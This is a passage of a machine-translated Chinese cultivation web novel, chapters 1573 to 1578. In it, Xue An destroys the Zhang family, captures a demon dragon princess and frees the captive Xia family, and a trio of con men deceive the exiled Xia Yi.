    But today, all these arrangements are invalid.


    How could this not shock Zhang Yinchi, and that''s why he questioned so excitedly.


    The person who came was naturally Xue An, and saw him smile slightly.


    "It doesn''t matter who I am. As for why I am here... Naturally I am going to kill you, and then rescue everyone in the Xia family captured by you!"


    Zhang Yinchi''s expression changed suddenly, "Are you from the Xia family? How could it be possible? I have never seen you before!"


    "Of course you haven''t seen me, because I only arrived today in Wuwangya!" Xue An said with a smile.


    Zhang Yinchi''s expression gradually became solemn, "So, are you a master hired by the Xia family?"


    Xue An slightly pondered, then nodded, "The same can be said!"


    Zhang Yinchi''s expression changed, then he took a deep breath and slowly said, "My friend, if that''s the case, it''s easy to say! No matter what conditions the Xia family offers you, I can pay twice as much. Price! As long as you can go against me what do you think?"


    Although he couldn''t feel the slightest surprise from the white-clothed boy, the more so, the more careful Zhang Yinchi was.


    Because there are many masters who see the head but not the end of the dragon, there is no way to perceive it from the surface.


    And if it can be brought over through profit buying, a lot of danger will be virtually eliminated, which is simply too cost-effective for Zhang Yinchi.


    Xue An smiled upon hearing this, "Double the price?"


    "Yes!" Zhang Yinchi solemnly nodded, "No matter what conditions the Xia family offers, I am willing to give twice the price!"


    "It sounds tempting, but unfortunately...you can''t do it at all!"


    Zhang Yinchi breathed a sigh of relief, no matter what, as long as it was a good thing to discuss, he also laughed.


    "My friends, don''t worry, in terms of wealth and power, now my Zhang family is far better than the Xia family, so no matter what the conditions are, I can do it for you!"

 Chapter 1573： There is no eternal enemy, only eternity...

    "Really?" Xue An asked with a smile.


    "Of course!" Zhang Yinchi nodded proudly.


    "Then... what if the Xia family''s condition is your life? How can you double it for me? Could it be... you have to die twice?"


    As soon as these words came out, Zhang Yinchi''s color changed suddenly, "You..."


    Xue An''s smile did not change, "I didn''t want to kill you, but you can tell from what you said just now. It''s a scourge to keep you, so... it''s so easy to leave!"


    As soon as the voice fell, Zhang Yinchi felt a bitter chill, which made him terrified, and the whole person stepped back subconsciously.


    To know that to stand out from the many descendants of the Zhang family, Zhang Yinchi''s strength should not be underestimated.


    Especially at this moment, he clearly felt the killing intent from Xue An.


    Under this stress reaction, he almost retreated subconsciously.


    At the same time, the brilliance in his eyes flashed slightly, and his divine consciousness spread, and he was ready to spread the news to inform the others in the Zhang family mansion.


    I have to say that his response is indeed fast enough.


    If it was someone else, they might have escaped.


    But in front of Xue An, the so-called speed completely lost its meaning.


    Just when Zhang Yinchi''s spiritual thoughts seemed to be dispersed, and his figure was about to break through the wall and escape.


    Xue An sighed softly, "Why the hell! Isn''t it okay to die honestly? I have to struggle a bit!"


    Following the voice, Zhang Yinchi suddenly felt a biting chill from the back of his head.


    When he felt the chill, Zhang Yinchi was about to get out of trouble.


    But at this moment, Zhang Yinchi felt that this cold killing intent seemed to have cut off the hair on the back of his head, and his scalp was pierced with dripping blood.


    At this critical moment, Zhang Yinchi screamed, and instantly reversed his cultivation, and his body shape changed from retreating backwards to rushing forward.


    Such rapid changes made Zhang Yinchi''s mind tremble, and he suffered serious internal injuries at that time.


    But compared to his own life, all this is worth it.


    Because of this, Zhang Yinchi''s heart secretly relieved, thinking that everything is finally over.


    But at this moment, a cold blade suddenly appeared in front of his eyebrows. Because Zhang Yinchi was rushing forward, he didn��t even have time to escape, so he was directly inserted into the center of his eyebrows. in.


    puff!


    After a muffled sound, Zhang Yinchi''s eyes widened instantly, his eyes filled with incredible expressions.


    If it''s a general injury, Zhang Yinchi can''t be helped.


    After all, his strength is considered strong among the younger generation.


    But the problem is that this cold blade not only pierced into the middle of the eyebrows, but also burst out extremely powerful lethality in an instant.


    Zhang Yinchi felt as if something had exploded in his eyebrows.


    The calm sea of ??consciousness instantly set off turbulent waves, but the power of violent violent followed, blasting the spirit of Zhang Yinchi to pieces.


    Zhang Yinchi was shocked, his face was dull, like a woodcarving clay sculpture, standing still in place.


    Immediately afterwards, Zhang Yinchi opened his mouth and spit out a large mouthful of blood, looking at Xue An with infinite horror.


    "You...who are you?"


    Xue An smiled slightly, "Since you are dying, let me tell you! My name is Xue An! Remember?"


    "Xue...An?" Zhang Yinchi whispered softly, eyes full of surprise and unwillingness.


    "Why... why, I don''t want to die!"


    The voice just fell, but Zhang Yinchi''s body instantly collapsed, turned into a puddle of mud, and collapsed to the ground.


    So far.


    The Zhang family, who had just been alive and well, became a pool of rotten flesh and blood.


    But Xue An, who had done all this, seemed to have done a trivial thing. He just glanced at the flesh and blood on the ground, then turned his head and smiled at the woman who was sitting at the table without saying a word.


    "Don''t want to say something?"


    "Say what?" The woman smiled and said indifferently: "I regret this Zhang Shao''s death? Don''t be funny, what does it have to do with me if he is not dead?"


    Xue An shrugged, "That''s true! After all, for you members of the dragon, the so-called feelings are just a joke!"


    The woman didn''t care, and even the smile on her face didn''t change at all. Instead, she looked at Xue An with temperament, "I didn''t expect you to know our dragon clan quite well!"


    Xue An ignored her words, but walked to the opposite side of the woman on his own, then sat down and said with a smile but a smile: "Aren''t you afraid?"


    "Afraid? Why should I be afraid?" The woman asked back, and then said lightly: "When you reach the state of you and me, it should be clear that there are no eternal enemies, only eternal benefits!"


    "Zhang Yinchi died in your hands, which means that you are more worthy of cooperation than the Zhang family! So for me, this is just a replacement of a partner. As for whom I cooperate with, it doesn''t matter at all!"


    Speaking of this, the woman smiled slightly and stretched out her hand towards Xue An, "Get to know, my name is Mo Chunqing, the eldest princess of the Molong clan!"


    Faced with the demon dragon princess��s kindness, Xue An was not moved at all. Instead, he took a deep look at Mo Chunqing and said indifferently: ��It sounds good, but you are so confident that I will not kill you. ?"


    Seeing Xue An didn''t stretch out his hand, Mo Chunqing didn''t show the slightest embarrassment. He retracted his hand very naturally, and then smiled slightly.


    "This is not confidence, but affirmation!"


    "Because anyone with a normal mind will understand that killing me will not benefit you at all, but will cause endless trouble!"


    Speaking of this Mo Chunqing raised her head arrogantly, "My father is the supreme dragon king. If anyone dares to disadvantage me, my father will never let go. Pass him!"


    "What''s more, cooperating with our Demon Dragon clan will only have infinite benefits. In this way, when the two are compared, I think as long as they are not fools, they should be distinguished!"


    After hearing Mo Chunqing''s words, Xue An applauded lightly, "Wonderful! As expected, she is the eldest princess of the Demon Dragon clan, this logic is true!


    Mo Chunqing smiled slightly, "So, should we talk about cooperation now?"


    Xue An shook his head, "I haven''t finished what I just said. Although there is nothing wrong with the logic of your words, have you thought about it, what if I don''t want it?"


    Mo Chunqing finally couldn''t maintain the smile on her face. She saw her complexion changed slightly, her eyelids jumped, and she took a deep breath and said coldly, "What do you mean?"


    Xue An shrugged, "It''s not interesting, but unfortunately to inform you that the ten dragons that you have given high hopes to have all become my prisoners at this moment!"

 Chapter 1574： Everyone in the Xia family, follow me

    "Impossible!" Mo Chunqing immediately retorted firmly, "The ten dragons are all close attendants by my father and king. Once the formation is completed, it cannot be solved by ordinary force at all, you..."


    "Are you talking about this?" Before Mo Chunqing finished speaking, Xue An had already opened his hands, and there was a small and delicate Chinese knot in his palm.


    It''s just that this Chinese knot is woven with the body of a magic dragon.


    Seeing this scene, Mo Chunqing''s eyes instantly widened, "This...this..."


    I haven''t said why for a long time.


    On the contrary, the ten magic dragons felt her aura, raised their heads to look over here, and then cried out crying.


    "Your Royal Highness, go away, this guy is so evil, you are not his opponent at all!"


    "Yes, go back and notify His Royal Highness Dragon King, otherwise we will really be finished!"


    The ten dragons clamored.


    At this time, Mo Chunqing didn''t believe it.


    I saw her face change suddenly, "What do you want?"


    "It''s very simple. I''m very interested in your monster clan, but the sea of ??darkness is too large, even I can''t catch it, so..."


    A dangerous cold light flashed in Xue An''s eyes, "I want you to be a bait!"


    As soon as the voice fell, Mo Chunqing suddenly violent.


    Layers of dragon scales appeared on the originally smooth skin, and the slender fingers turned into sharp dragon claws. The fierce wind swept across the sky and shot Xue An.


    The power of this blow is extremely powerful.


    Even if it is a strong Da Luo, a person who does not pay attention will be killed on the spot.


    But as soon as her palm was halfway through, she couldn''t move anymore.


    Because a palm like a sapphire sculpted hand held her wrist without any difference, making it impossible to get in.


    But Mo Chunqing''s reaction was not unpleasant.


    But seeing her screaming up to the sky, her body quickly swelled, and the terrifying dragon body appeared under the cracked skin.


    Most people don''t talk about hands-on, just this scene is enough to make them feel shocked.


    And with the appearance of her body, her power is also increasing violently.


    Under the thicker arms, Xue An''s palms became thinner and thinner.


    But in this situation, Xue An''s eyes showed a narrow smile.


    "What a majestic dragon blood! If this kind of blood is used to make wine, would you say it will be very mellow?"


    Mo Chunqing didn''t say a word, the pair of blood-red dragon eyes were full of cold killing intent.


    "dead!"


    With that, Mo Chunqing shook her body, and the dragon''s tail behind him drew across the sky, following Xue An''s face.


    But in the face of such a blow, Xue An didn''t even raise his eyelids, but raised his eyebrows slightly.


    Strands of white sword light appeared in the sky.


    Then these sword lights rushed forward with a turbulent posture.


    Bark.


    There was a slight noise.


    Under this sword light, Mo Chunqing''s extremely hard dragon scales were like fragile petals, which were directly cut into a huge wound.


    The blood rushed out, staining Mo Chunqing''s body red.


    A look of horror appeared in Mo Chunqing''s eyes, and then he mobilized the power of blood throughout his body, trying to break away from Xue An''s control.


    But all is in vain.


    Xue An''s arm was like a cast of copper-cast iron, and couldn''t shake it at all.


    On the contrary, Mo Chunqing felt that Xue An''s palm was gradually tightening.


    Under the tremendous pressure, Mo Chunqing''s arm heard a burst of rattling noises.


    It was the sound of bones being squeezed.


    Mo Chunqing roared in pain, opened his mouth and spit out a mouthful of dark dragon flames, and rushed towards Xue An.


    Wherever it passes, the light is dim and the space is withered, showing its strong toxicity.


    But Xue An only let out a sigh of relief, and a powerful airflow directly blew away the dragon flames.


    Then Xue An smiled at her sensibly, "Anything else?"


    Looking at Xue An''s smile, Mo Chunqing''s whole body trembled like a fallen ice cellar.


    Xue An nodded, "It seems that there is no more. If this is the case, then it''s mine!"


    As he said, Xue An raised his other hand, drew a talisman seal in the air at a very fast speed, and then slammed forward.


    Bang!


    Fu Zhuan was printed directly on Mo Chunqing''s forehead.


    Mo Chunqing snarled up to the sky, and then a bright brilliance enveloped her body.


    Under the brilliance, Mo Chunqing''s body shrank crazily at a speed visible to the naked eye, and instantly became only one finger thick, and fell into Xue An''s palm, struggling to bend.


    Xue An smiled faintly, then condensed Mo Chunqing and the ten dragons together, turned it into a bracelet, and put it on his wrist.


    All this is long to say, but in fact it is extremely fast.


    From the time Xue An walked into the room until Zhang Yinchi died and Mo Chunqing was captured, there was no more than one cup of tea in total.


    After all this was done, there was a faint noise from outside the window.


    "What''s the matter? Who is howling?"


    "It should be from the building where Shao Zhang is located!"


    These shouts one after another.


    Xue An smiled faintly when he heard the words, then stood up, stepped out to the outside world this moment.


    The entire chapter family is already boiling.


    Countless strong monks are coming here.


    So when Xue An appeared in the night sky, it immediately attracted the attention of all parties.


    "who are you?"


    "What happened to my Zhang Shao?"


    Everyone questioned them one after another, and some of them rose into the sky silently, trying to catch this unidentified young man.


    But at this moment, Xue An smiled slightly, "Your Zhang Shao is dead, and I am here to understand and save the Xia family captured by you!"


    what?


    Zhang Shao is dead?


    The audience was silent at first, and even after a moment of uproar.


    "Impossible, how could Zhang Shao die?"


    "Yes, you must be talking nonsense!"


    "Kill him!"


    Amid these noisy noises, Xue An raised his eyebrows slightly, "It seems that you still don''t believe it, that''s good, then I will do it myself!"


    Speaking of this, Xue An stomped abruptly in the void.


    boom!


    With this foot, the world shook for it.


    And a surging force descended from the sky, directly smashing most of the Zhang family mansion into powder.


    As for the uproarious Zhang family members, they were trampled into flesh by this foot.


    But this is not over yet.


    With the bombardment of this huge force, the originally flat ground sagged, forming a huge deep pit.


    At the bottom of the pit, a dungeon appeared, and the walls of the dungeon had collapsed to the ground because of this huge force, exposing the figures of everyone inside.


    It was the captured members of the Xia family.


    At this moment, they also looked dumbfounded, patrolling around, seeming not to understand why the dungeon would suddenly collapse.


    At this time, Xue An said calmly: "Everyone in the Xia family, follow me!"

 Chapter 1575：

    There was deathly silence.


    The Zhang family who survived the disaster looked at the tragic situation in front of them dumbfounded, they couldn''t believe their eyes.


    Kick!


    Just a kick!


    Most of the Zhang family mansion has become ruins, and countless Zhang family powerhouses have fallen.


    This kind of toughness is beyond their understanding.


    The captured Xia family was naturally shocked, but when they heard Xue An''s words, they quickly recovered their sobriety, and then looked at each other and saw the joy in each other''s eyes.


    The adult who wiped out the Zhang family in one blow actually came to save himself!


    These people are naturally infinitely happy.


    At the same time, Xue An waved his hand, and a sword beam swam around the court like a dragon, directly cutting the ropes on everyone in the Xia family.


    Then Xue An said calmly: "Can I still go?"


    Everyone in the Xia family looked serious, and said, "My lord, we can move without barriers!"


    Xue An nodded, "Very good! In that case, let me do it!"


    After that, Xue An turned and left.


    Everyone in the Xia family rose into the sky, and those who followed them left here.


    No one looked at the surviving Zhang Family from beginning to end.


    Because neither Xue An nor the Xia family knew that the Zhang family was over.


    Although there are still many people who have survived, the result of the loss of the elite and the loss of the master has already doomed their end.


    So no one looked here at all.


    And it wasn''t until everyone''s body shape had disappeared into the distant sky that the surviving Zhang family members walked out tremblingly, and then looked at everything in front of them with horror.


    Deep pits on the ground, collapsed houses, dead strong men.


    All of this seemed like a nightmare, making the faces of all these chapters ashamed.


    After a long time, someone sighed like a groan, "Zhang Family... finished!"


    When Xue An led the captured people to appear above the Xia family, the Xia family who was in a state of anxiety instantly boiled.


    Everyone was stunned.


    Because no one thought that Xue An could come back so quickly.


    You must know that from Xue An''s departure to the present, there were only three hours in total.


    In such a short period of time, Xue An brought all the captured people back safe and sound.


    This is simply a miracle.


    Those people who were worried that Xue An would be dangerous if they went alone before, at this moment also put their hearts back in their stomachs.


    Headed by Xia Zheng, all Xia elders stood down to welcome Xue An''s return.


    After Xue An landed, Xia Zheng took a step forward and said respectfully: "Xia Family, welcome the return of the adults!"


    Xue An said lightly: "Well, all the captured people are here! Can you see if there are any defects?"


    Xia Zheng shook his head very excitedly, "It''s all here, there are a lot of them! But the Zhang family..."


    Xue An smiled slightly, then shook his head, "There are no more chapters!"


    Xia Zheng and the elders present all changed their faces when they heard this, and were about to speak.


    But Xue An was obviously too lazy to explain anything, just stretched a long waist, "Well, I will go back to rest, and I will leave the rest to you!"


    After all, he left on his own.


    Xia Zheng hurriedly ordered people to take Xue An down to rest. After all this was done, he turned his head and asked those who were brought back by Xue An.


    "What the **** is going on? How did you get rescued? In detail, there must be no omission!"


    These people looked at each other, and then the one standing in front stepped forward with a wry smile on his face, and said.


    "Patriarch, to be honest, we don''t know what''s going on! At that time, we were caught back to the Zhang family mansion and locked up in a dungeon. We thought we were bound to die, but we didn''t expect the mountain to shake suddenly. Then the dungeon we were in collapsed!"


    "What then?" Xia Zheng asked hurriedly.


    "Then..." The man swallowed hard, "Then we found that the originally prosperous Zhang family mansion had become a ruin, and there were countless dead bodies in it, and this adult stood high in the sky. Trick broke the rope that bound us, and then brought us back!"


    "It''s that simple?" Xia Zheng couldn''t believe it.


    "Yes, it''s that simple!" The speaker nodded solemnly.


    At this time, everyone was silent.


    I thought that even if Xue An rescued these people, he would have to go through a bitter battle.


    But who would have thought that such an understatement could be done without any effort.


    This sounds incredible.


    But everyone in the Xia family knew that this was all true!


    "It seems... we still underestimated the strength of this adult!" A senior Xia said with a wry smile.


    Everyone nodded.


    Xia Zheng suddenly remembered something, his face was serious, and he said in a deep voice: "Let''s pass the order. This Master Xue is the highest-ranking guest of my Xia family. No one should be slow. Anyone who violates the order...kills without mercy!"


    "Yes!"


    Then Xia Zheng looked at the speaker again, "Have you seen with your own eyes, Zhang Jiaye has become a ruin?"


    "It''s true!" The man solemnly nodded, "And not only I saw it, but everyone saw it."


    "If you want to say that, the Zhang family is indeed dead in name!" Xia Zheng whispered softly, a bright and dangerous light suddenly appeared in his eyes.


    "Assemble the troops and immediately launch a counterattack against the Zhang family!"


    "Yes!"


    The entire Xia family moved after hearing the wind.


    The Xia family powerhouses who had been suppressed by the Zhang family for days and couldn''t raise their heads, launched a Jedi counterattack at this time.


    Countless people swarmed in, thinking that they would encounter strong resistance from the Zhang family.


    Unexpectedly, the originally tight defensive line of the Zhang family had already existed in name only, and the strong Zhang family guards in it were even more collapsed.


    Easily, the Xia family seized the front position, and then the Xia family rushed forward on the Zhang family''s territory like a broken bamboo.


    Along the way, I didn''t even encounter any resistance.


    In the end, the Xia family''s army came to the Zhang family''s headquarters, which was the original Zhang family mansion.


    The Zhang family mansion at this moment has become a real ruin.


    Even those who have survived before have already done Birds and Beasts ~ www.novelhall.com~ because they are not fools, and naturally they can see that the Zhang family is over.


    In this case, it is a fool who does not run for his life.


    Therefore, the Xia family almost occupied all the territory of the Zhang family.


    When the news came back, Xia Zheng was shaking with excitement.


    We must know that the Xia family has been fighting with the Zhang family for decades, and the Xia family has been at a disadvantage. This time it was almost wiped out by the Zhang family.


    Unexpectedly, the former tyrannical Zhang family would become history overnight.


    But the Xia family ushered in its own glory.


    How could this not make him feel excited.


    "If the order continues, tell the Quartet, that the Zhang family is gone, and my Xia family has replaced it!" Xia Zhengqiang said in a deep voice, controlling his emotions.


    "Yes!"

 Chapter 1576： 4-way vibration

    When the Xia family''s announcement came out, the entire Wuwangya immediately fell into a huge shock.


    "What? The Zhang Family was destroyed, and the Xia Family took its place. How is this possible? Isn''t this information wrong?" The Patriarch of a certain power could not believe it was true, and thought it was the messenger who made a mistake.


    "It has been confirmed, the news is not wrong, it is indeed the Zhang family being destroyed, and now the person in charge of the Zhang family''s territory is the Xia family!" someone next to him said.


    "But how is this possible? You know that just yesterday, the Xia family was overwhelmed by the Zhang family''s offensive, and it was almost destroyed. How could such a shocking reversal happen overnight?" The Patriarch still doesn''t quite believe it.


    "I didn''t believe it in the beginning, but after inquiries, the news was indeed correct, but the Xia family was able to do this because it was helped by an unborn master!"


    "An unborn master?"


    "That''s right!" The face of the speaker became extremely serious. "This master does not know the origin, but his strength is shocking. It is that he turned the Zhang family mansion into ruins with his own power, and the powerful Zhang family members were also taken It''s gone!"


    "Hey! This...this..." The Patriarch wanted to say how this is possible, but suddenly he closed his mouth.


    Because in this dark place, everything can happen.


    And now that the facts are in front of him, he can''t help but believe it.


    And this is just a microcosm of all forces.


    In short, when the news spread, everyone was shaken.


    Because the Zhang family is a powerful one, and it fell like that overnight, which was a bit too shocking.


    In addition, there is also a peerless powerhouse of unknown origin.


    The combination of these things naturally attracts more attention.


    So for a while, the entire streets and alleys of Wuwangya were talking about it.


    Even the traffickers and pawns are arguing with excitement about who the master behind the scenes is!


    But unexpectedly, in addition to shock, almost all the people at the bottom were excited about this incident.


    Especially those who had been under the rule of the Zhang family, they rushed to tell each other and wept with joy.


    Because the original Zhang family had an extremely domineering style, and the disciples of his disciples were even more arrogant and extravagant.


    Under this circumstance, the entire Wuwangya didn''t have a good impression of this chapter family.


    The sudden demise of the Zhang family this time naturally made the people at the bottom who were mad at the Zhang family''s actions extremely happy.


    But things in the world are like this. Some people are happy and others are sad.


    Xia Yi was very upset now.


    Since being expelled from the Xia family, he ran for thousands of miles overnight in a fit of anger, and came to the realm under the jurisdiction of another force.


    This time he came out and brought out all the treasures he had accumulated, so he was very generous.


    After he got here, he naturally wouldn''t treat himself badly. He first found a lavish inn to live in, and then lay down to sleep.


    He slept for a whole day and night, and when he woke up, he walked downstairs refreshedly and prepared to eat.


    But as soon as I sat down, before moving my chopsticks, I listened to someone talking on the table next to me.


    "Hey, have you heard? The Zhang family, who was once so arrogant, was wiped out overnight!"


    This sentence caused Xia Yi to squirt out all the wine in his mouth.


    But fortunately, the shop was very noisy and messy at this time, and everyone''s attention was attracted by the news, so no one paid attention to him at all.


    Xia Yi pricked his ears and listened.


    "I have also heard about it, but I always feel that I can''t believe it! After all, that''s a powerful party! How could it be destroyed overnight?"


    The person who started speaking sneered when he heard the words.


    "Strong? No matter how powerful, can it be better than those with a shocking cultivation base? Tell you the truth! This time the Zhang family was destroyed, completely from an unknown source, but with a shocking cultivation base. I heard that he trampled the entire Zhang family mansion into ruins!"


    Upon hearing these words, there was a sound of wonder in the audience.


    "A strong man with a shocking cultivation base! If that''s the case, then it makes sense!" Someone exclaimed.


    "Hehe, in the end, it was said that the Xia family had picked up a big bargain! Originally, I couldn''t hold my head up because of the pressure of the Zhang family, but I picked up such a large area overnight. I guess, this summer It won��t take long for the household to become one of the leading forces in Wuwangya!"


    Everyone nodded.


    Xia Yi didn''t hear the following words clearly, because at this moment, his whole body was shaking uncontrollably, his eyes were red, his hands clenched together, and his heart was full of regret and fear.


    I regret it because if I am not expelled from the Xia family, then relying on the power of the Xia family today, I will go one step further, master more resources, and obtain more wealth.


    But now he was expelled from the house and became a stray dog, and all the power of the Xia family had nothing to do with him.


    How can this not make him feel infinite regret?


    The fright is because Xia Yi knows who did this thing better than anyone else!


    Only the boy in white can do it!


    Xia Yi couldn''t help feeling a tingling scalp when he thought that he had actually opposed such a peerless master.


    In this tormented situation, Xia Yi sat on the chair in a muddle-headed manner, her whole thoughts full of thoughts, she didn''t know what she was thinking.


    The food that came up was not even a bite.


    I don''t know how long it took.


    Suddenly, Xia Yi was awakened by the sound of a beating.


    "Our boss is here, so let''s get out of it soon!"


    The voice was loud, Xia Yi frowned slightly and couldn''t help turning his head to look.


    But seeing two people walked in from the door of this restaurant, one with a pointed mouth monkey gill and the other with triangular eyes.


    The two people''s arrogant faces are berating the past, and even the shopkeeper of this restaurant has received a few reprimands, and can only stand honestly with hands down on both sides of the door.


    Such a battle also made Xia Yi startled.


    Unlike those ordinary people, Xia Yi could tell at a glance that these two people were both monks with cultivation skills.


    Although it seems that the cultivation base is not very good, such a person actually becomes a pawn, then what is the origin of this master?


    Xia Yi was thinking about it, and heard a soft cough coming from outside the door, and then saw a man with a splendid dress and a majestic face walking in.


    When he came in, a powerful force spread immediately, and the entire oppressive restaurant was quiet for it.


    Xia Yi was even more shocked after seeing this scene, because in his perception, the strength of the middle-aged man in front of him was unfathomable.


    Otherwise it is impossible to have such a powerful power.


    This can''t help but plunge him into shock.

 Chapter 1577： Superman

    at the same time.


    The man glanced around the audience and nodded slightly.


    "The environment here is okay, just have a meal here!"


    "Yes!" Triangular eyes responded immediately, then turned around and yelled at the shopkeeper.


    "Didn''t you hear? Our boss is going to have a meal with you. This is a blessing that you won''t be able to cultivate for eight lifetimes. You must be good at serving you, understand?"


    "Ah yes yes!" The shopkeeper was also shocked by the man''s aura, and quickly nodded and bowed in response.


    Soon, someone led the man to a seat.


    "Dare... dare to ask this lord, what would you like to eat?" the shopkeeper said cautiously.


    "What do I want to eat? I want to eat Devil Dragon Liver, do you have one here?" The man glanced at the shopkeeper and asked with a sneer.


    The shopkeeper''s face collapsed all at once, "You are joking, how can I have such a fetish in this small shop!"


    "Hehe, I know you don��t have this! But although the dragon��s liver is rare, it��s not a divine object. It is said that I have personally killed a dragon before, so in my opinion, it is just a long That''s it!" The man said with an arrogant expression.


    And his words also caused a commotion in the field.


    "It doesn''t count to kill the dragon? What counts then?"


    "But who is this person? What a strong momentum!"


    "Who knows!"


    These comments came and went one after another, and many of them reached the man''s ears, making him even more proud.


    So he lowered his head and glanced at the recipe, then said lightly: "Okay, I don''t want to trouble you anymore. Let''s cook a few of your most expensive and best dishes! Also, remember to have some good wine!"


    "Good lord!" The shopkeeper wiped the cold sweat from his forehead and hurriedly went down to prepare.


    Xia Yi watched quietly from a distance, especially when he heard this man say that he had killed the dragon, his eyes suddenly lit up, and then he thought of something, and his face gradually showed excitement. .


    He took a deep breath, then stood up and walked towards the man.


    At the moment the dishes are on, and the man is immersed in eating.


    When Xia Yi walked over, triangular eyes saw him first, and couldn''t help but shout: "Who are you? What are you going to do?"


    Xia Yi immediately stopped, and then said with a smile on his face: "This friend, I have no ill intentions, but I admire this big man with a strong personality, so I want to come and get close!"


    But he didn''t notice. When he heard what he said, all three of them breathed a sigh of relief.


    Then the man who sat at the table feastingly put down his chopsticks and looked at Xia Yi with a smile.


    "Oh? Want to get close? Then please sit down!"


    Xia Yi was overjoyed and hurriedly sat down opposite.


    "Let''s talk, what''s the matter?" The man asked with a calm expression.


    Xia Yi had a solemn expression on his face, lowered his voice and said, "My lord, I don''t know if it is a bit abrupt to ask, but how many monsters do you think you can deal with with your strength?"


    The man was startled, and immediately laughed, "Huh? I haven''t thought about this, but after all, I just used less than 10% of my strength to kill the dragon at that time!"


    Xia Yi looked down for a moment, her eyes brightened.


    A dragon can be killed in less than 10% of its strength. Doesn''t that mean that ten dragons are not a problem if you use your full strength?


    To say that, this adult might really be able to deal with that boy in white!


    Thinking of this, his expression became awe-inspiring, and he whispered: "My lord, it''s true that I have an enemy who wants to get rid of it quickly, but the opponent''s strength is too tyrannical, and I can''t do it with my strength. With the help of adults, I think this thing will be successful!"


    A strange look appeared on the man''s face, but he still smiled: "To put it bluntly, you just want me to kill someone for you?"


    Xia Yi nodded solemnly, "Yes, that''s what I mean here!"


    "Haha!" The man laughed a few times, "It''s not impossible, but it''s very expensive for me to shoot, you..."


    Before he finished speaking, Xia Yi immediately said: "Don''t worry, my lord, I understand the rules!"


    With that, when he turned his wrist, a brilliant spar appeared in the palm of his hand.


    As soon as this thing appeared, it immediately caught the eyes of these three people.


    Xia Yi said with some embarrassment: "My lord, I''m really sorry, this time I was in a hurry, and I didn''t have too much money on my body. This spiritual crystal is the right and treated as a deposit. What do you think?"


    Gudong!


    The man took his gaze away from the spirit crystal with difficulty, and then swallowed his saliva vigorously, trying to make his performance light and breezy.


    "It looks good! I just don''t know if it is true or not!"


    Xia Yi didn''t notice the strangeness of these three people at all, and hurriedly said: "My lord, I am also a child of a family, how can I deceive people with fake things? And you can check it at will. It is definitely not fake! You don''t believe it. You can take it now!"


    Hearing this, the man almost couldn''t help but grabbed the spirit crystal directly into his arms.


    Triangular eyes hurriedly stepped forward and picked up the spirit crystal, roughly glanced, and then nodded at the man imperceptibly.


    A flash of joy flashed in the man''s eyes, but on the surface he was still an expert, and said lightly: "In this case, then I will reluctantly promise you!"


    Xia Yi was overjoyed, "Thank you, my lord, the one I want to kill is..."


    "Hey!" The man waved his hand calmly, "You don''t need to tell me who it is, anyway, I have promised you, then he is bound to die!"


    Xia Yi was stunned when he heard the words, and then he gave a secret compliment. He was indeed an expert!


    So he nodded repeatedly.


    "Yes Yes Yes!"


    The man smiled and continued to feast on.


    Finally, he ate a good meal, and then raised his hand.


    The shopkeeper hurried over, "My lord, how are you eating?"


    "The taste is so-so, but it''s not bad for a small shop like you! Let''s calculate how much money!" The man said lightly.


    "Yes it isThis is..." The shopkeeper nodded and bowed, just trying to calculate how much money.


    Xia Yi took out a spar and threw it to the shopkeeper.


    "Don''t forget it, I''ll pay for this adult''s meal!"


    The shopkeeper was a little dumbfounded.


    The man smiled slightly, "You..."


    Xia Yi proudly patted her chest, "My lord, can this little money still cost you money!"


    "Never mind! Then I''ll give you this face!" The man sighed softly, then stood up slowly.


    "The shopkeeper, open two upper rooms, I want to stay here for a few days!"


    Xia Yi immediately took out another piece of broken crystal and threw it over, "Hurry up and prepare?"


    Upon seeing this, the man and the two looked at each other, and there was a slight smile on their faces.

 Chapter 1578： Bluff Group of 3

    Undoubtedly, these three people are just the dear ones who tried to rob Xue An on the flying boat.


    One of the masters is the boss Liu.


    So how did they get here?


    This starts with the situation of the three of them.


    Being on the flying boat was frightened by Xue An''s strength, so as soon as the flying boat landed, the three immediately got off the boat and ran away in despair.


    But the three of them were already penniless.


    And in this dark place, there is no place to stand without money or power.


    So after the three of them discussed, let''s go back to their old ways!


    Of course, this is not to say that they are ready to plunder again.


    In fact, with their strength, robbery in this Wuwang Cliff is purely seeking death.


    They are planning to deceive.


    Because this boss Liu has a very special talent ability called bluffing.


    This kind of natural ability can imitate the aura of a strong man and pretend to be a worldly expert.


    In other words, others pretend to be a pig and eat a tiger, but he is just the opposite, pretending to be a tiger and eat a pig.


    After making up their minds, the three of them were afraid that they would swindle and attract Xue An again.


    So I simply stayed away from the place where the flying boat landed, and went deep into Wuwang Cliff, and finally came to this place.


    But the three of them still overestimated their abilities, and after a few days, they did not gain anything at all.


    Not only that, but the three of them were so miserable that they couldn''t even afford to eat.


    After a few days, the hungry three finally couldn''t bear it.


    Although monks can cut off food long ago, it is based on ample spiritual energy.


    Now the three of them have gone through a long journey, their bodies are already extremely exhausted, and they urgently need spiritual food to supplement them.


    Therefore, the three of them discussed again, gritted their teeth, and gave up completely.


    Even if it was an overlord meal and was beaten up by someone in the end, that would be recognized.


    Better than starving to death like this!


    With this idea in mind, the three of them immediately began to act, so they had the arrogant scene when they just entered the restaurant.


    In fact, Boss Liu at the time had already used all his strength for milk feeding, and he barely managed to maintain that strong momentum without dissipating, and if he procrastinated for a while, he might be completely exposed.


    But God seemed to have opened his eyes, allowing them to meet Xia Yi, who had just been expelled from the house.


    The two sides simply hit it off.


    Xia Yi was fortunate that he had found a worldly expert who could avenge himself.


    Boss Liu was excited that the three of them finally hung up a triumphant son, and at least there will be no worries about food and drink for a short time.


    In this delicate atmosphere, in the next few days, the two sides started friendly and pleasant communication and exchanges, and reached a preliminary consensus on many things, and the friendship has also advanced by leaps and bounds.


    After a few days, in Xia Yi''s heart, Boss Liu was not only a worldly expert, but also a considerate and intimate elder brother. His opinions and advice on many things made Xia Yi feel relieved.


    All this made Xia Yi more respect for Boss Liu.


    But he didn''t know that, for a qualified liar, it is simply the most basic skill to speculate on people''s psychology and to judge the situation and say some specious words to mislead.


    What''s more, Xia Yi himself is a child of a family. Even if he has a good cultivation level, he usually comes into contact with masters of all sects. He knows very little about these tricks. It can be said that he hasn''t been involved in the world, so he can easily go there. The trap of Boss Liu.


    Boss Liu is naturally happy to see what he has done, and on the surface he still maintains a superior demeanor, but his heart is full of joy.


    This idiot actually believed in everything, and also cited himself as a confidant!


    He will never know, I want to make him feel like a friend, but I will say everything to him.


    But don''t look at people stupid, but there are so many good things on him. If this is in his hands, then the three of them will be rich.


